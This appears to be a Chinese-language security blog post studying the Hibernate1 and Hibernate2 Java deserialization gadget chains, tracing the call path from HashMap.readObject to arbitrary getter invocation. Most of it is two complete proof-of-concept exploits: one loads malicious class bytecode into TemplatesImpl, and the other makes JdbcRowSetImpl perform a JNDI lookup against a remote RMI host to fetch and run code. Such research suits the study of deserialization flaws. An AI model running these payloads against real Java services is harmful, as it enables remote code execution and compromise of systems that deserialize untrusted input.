参考链接1 参考链接2
Hibernate1
这也是可以通过调用任意getter函数来进行代码执行的一个类
首先先给上调用栈
1 2 3 4 5 6 7 8 9
| HashMap.readObject() TypedValue.hashCode() ValueHolder.getValue() ValueHolder.DeferredInitializer().initialize() ComponentType.getHashCode() PojoComponentTuplizer.getPropertyValue() AbstractComponentTuplizer.getPropertyValue() BasicPropertyAccessor$BasicGetter.get()/GetterMethodImpl.get() TemplatesImpl.getOutputProperties()
|
我们还是老样子 从能够执行命令的地方开始分析
BasicPropertyAccessor#get
方法
这个的话是可以调用任意方法
这里可控的两点就是method
和这个target
参数
BasicPropertyAccessor#BasicGetter
方法
这个类的构造方法是可以设置这个method
方法的
BasicPropertyAccessor#creatGetter
方法
跟进这个方法
BasicPropertyAccessor#getGetterOrNull
方法
接着跟进这个方法
BasicPropertyAccessor#getterMethod
方法
- 首先第一步就是先获取到这个
theClass
这个类里的所有方法
- 然后判断这些方法是是否存在参数 如果存在参数的话就退出
- 接着就判断无参数的方法是否是
get
或者is
开头的
- 如果满足以上条件的话就将get或is后面的东西转化为小写并返回
在BasicPropertyAccessor#getterMethod
执行完后 就会将method进行返回 然后就返回BasicGetter
的构造方法 这样的话就给method
给配置完成了
知道上述的东西参数怎么配置完之后 我们就得找找谁能调用这个get
方法
经过查找发现在抽象类org.hibernate.tuple.component.AbstractComponentTuplizer
中定义了成员变量getters,并且通过getPropertyValue()
方法调用get方法,而getPropertyValues()
又调用了getPropertyValue()
就是这两个方法
接着找谁调用了getPropertyValues
()方法,由于这是抽象类,因此该找实现类哪里调用了
但是抽象类我们无法调用,只能使用它的子类,AbstractComponentTuplizer
有两个子类,一个是 PojoComponentTuplizer
,一个是 DynamicMapComponentTuplizer
,这对应着 Hibernate
的实体对象的类型,即 pojo
和 dynamic-map
。pojo
代表将 Hibernate
类型映射为 Java 实体类,而 dynamic-map
将映射为 Map 对象。
这里选择 PojoComponentTuplizer
类,他的 getPropertyValues()
方法会调用其父类的此方法。
1 2 3 4 5 6 7
| public Object[] getPropertyValues(Object component) throws HibernateException { if (component == BackrefPropertyAccessor.UNKNOWN) { return new Object[this.propertySpan]; } else { return this.optimizer != null && this.optimizer.getAccessOptimizer() != null ? this.optimizer.getAccessOptimizer().getPropertyValues(component) : super.getPropertyValues(component); } }
|
这里就是会调用到父类里的getPropertyValues
方法
而这个方法在ComponentType
中又被调用
这里让componentTuplizer
为PojoComponentTuplizer
即可接上链子,而在该类的getHashcode
方法中又调用了getPropertyValue
此现在该着哪里可以接上getHashcode
,这里就再正向分析一波,首先找到在TypedValue
类中的initTransients
是调用getHashcode
了的
那么就接着找谁调用了这个initTransients
这个方法
最后在这个ValueHolder#getValue()
里带调用了这个initialize
方法
那么这个getValue
方法是在这个TypedValue#hashCode()
方法来调用
(这个this.hashcode
是在调用这个initialize
的时候来给赋值的)
那么我们现在就走到了TypedValue#hashcode
这个方法这里了
那么有经验的师傅就能想到使用hashMap
来当入口来触发了
(就是最外层就是hashMap
)
POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import org.hibernate.engine.spi.TypedValue; import org.hibernate.type.Type; import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap;
public class Hibernate1 {
public static String fileName = "Hibernate1.bin"; public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType"); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer"); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
TemplatesImpl tmpl = new TemplatesImpl(); setFieldValue(tmpl, "_bytecodes", new byte[][]{ ClassPool.getDefault().get(evil.class.getName()).toBytecode() }); setFieldValue(tmpl, "_name", "HelloTemplatesImpl"); setFieldValue(tmpl, "_tfactory", new TransformerFactoryImpl()); Method method = TemplatesImpl.class.getDeclaredMethod("getOutputProperties");
Object getter; try { Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0]; constructor.setAccessible(true); getter = constructor.newInstance(null, null, method); } catch (Exception ignored) { Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true); getter = constructor.newInstance(tmpl.getClass(), method, "outputProperties"); }
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
Field field = abstractComponentTuplizerClass.getDeclaredField("getters"); field.setAccessible(true); Object getters = Array.newInstance(getter.getClass(), 1); Array.set(getters, 0, getter); field.set(tuplizer, getters);
Object type = createWithoutConstructor(componentTypeClass);
setFieldValue(type,"componentTuplizer",tuplizer); setFieldValue(type,"propertySpan",1); setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
TypedValue typedValue = new TypedValue((Type) type, null);
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(typedValue, "su18");
setFieldValue(typedValue,"value",tmpl);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
}
|
完整的利用链
这里这样写是因为版本的不同 调用链在这一块也是会不同的
总结
- 利用说明:
- 由 HashMap 的反序列化触发 TypedValue 的
hashCode
,调用到 ComponentType 的 getHashCode
方法,调用 PojoComponentTuplizer 的 getPropertyValue
的方法,然后使用 BasicPropertyAccessor$BasicGetter
调用 get
方法,触发 TemplatesImpl 的 getOutputProperties
方法。
- 依赖版本
Hibernate : 3-5
- 本次复现用的依赖版本
1 2 3 4 5 6 7 8
| <dependencies> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate-core</artifactId> <version>4.3.11.Final</version> </dependency> </dependencies>
|
这位师傅提出了一个想法 可以学习一下为什么
Hibernate2
既然是触发 getter
方法,这就让我们想到了 fastjson
的经典触发方式,除了 TemplatesImpl
实例化恶意类字节码,还有 JdbcRowSetImpl
触发恶意 JNDI
查询,Hibernate2
就是这种方式,不知道这两个漏洞是谁先出的,谁借鉴的谁。
在 fastjson
中使用 JdbcRowSetImpl
的 setAutoCommit
(setter)方法触发 JNDI
查询,而在 Hibernate2
中由于是触发 getter 方法,因此我们选择 getDatabaseMetaData
。
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.rowset.JdbcRowSetImpl; import javassist.ClassPool; import org.hibernate.engine.spi.TypedValue; import org.hibernate.type.Type; import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap;
public class Hibernate2 {
public static String fileName = "Hibernate1.bin"; public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException { Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); objCons.setAccessible(true); Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); sc.setAccessible(true); return (T) sc.newInstance(consArgs); } public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); }
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType"); Class<?> pojoComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer"); Class<?> abstractComponentTuplizerClass = Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
JdbcRowSetImpl rs = new JdbcRowSetImpl(); rs.setDataSourceName("rmi://192.168.142.129:9999/evilclass"); Method method = JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData"); Object getter; try { Class<?> getterImpl = Class.forName("org.hibernate.property.access.spi.GetterMethodImpl"); Constructor<?> constructor = getterImpl.getDeclaredConstructors()[0]; constructor.setAccessible(true); getter = constructor.newInstance(null, null, method); } catch (Exception ignored) { Class<?> basicGetter = Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter"); Constructor<?> constructor = basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class); constructor.setAccessible(true); getter = constructor.newInstance(rs.getClass(), method, "databaseMetaData"); }
Object tuplizer = createWithoutConstructor(pojoComponentTuplizerClass);
Field field = abstractComponentTuplizerClass.getDeclaredField("getters"); field.setAccessible(true); Object getters = Array.newInstance(getter.getClass(), 1); Array.set(getters, 0, getter); field.set(tuplizer, getters);
Object type = createWithoutConstructor(componentTypeClass);
setFieldValue(type,"componentTuplizer",tuplizer); setFieldValue(type,"propertySpan",1); setFieldValue(type,"propertyTypes",new Type[]{(Type) type});
TypedValue typedValue = new TypedValue((Type) type, null);
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(typedValue, "su18");
setFieldValue(typedValue,"value",rs);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(hashMap); oos.close();
System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); }
}
|
这样就能执行了 (只是比较慢)